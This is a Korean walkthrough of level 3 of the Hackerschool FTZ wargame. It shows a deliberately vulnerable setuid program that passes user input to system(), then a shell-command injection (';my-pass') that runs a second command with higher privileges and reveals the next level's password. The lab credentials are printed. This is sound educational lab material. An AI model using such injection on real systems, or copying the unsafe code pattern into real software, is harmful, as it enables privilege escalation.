해커스쿨 FTZ [LEVEL3] 풀이
M4ndU
해커스쿨 FTZ [LEVEL3] 풀이입니다.
ID | level3
PW | can you fly?
으로 로그인합니다.
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.
level3@192.168.31.128's password:
[level3@ftz level3]$ ls -l
total 12
-rw-r--r-- 1 root root 543 Nov 26 2000 hint
drwxr-xr-x 2 root level3 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level3 4096 Jan 15 2009 tmp
hint 파일이 있습니다.
cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
소스코드가 나왔네요.
어떤 일을 하는지 봅시다.
int main(int argc, char **argv){
인자값을 받습니다.
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"
cmd의 값을 실행합니다.
find 명령어로 autodig를 찾아봅시다.
[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null
/bin/autodig
있네요!
이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.
아까 hint내용을 더보면 이런게 있다.
세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.
큰 따옴표 "" 를 사용하면 된다.
그럼 이 둘을 사용해 패스워드를 알아보자.
[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known
Level4 Password is "suck my brain".
;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.
바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ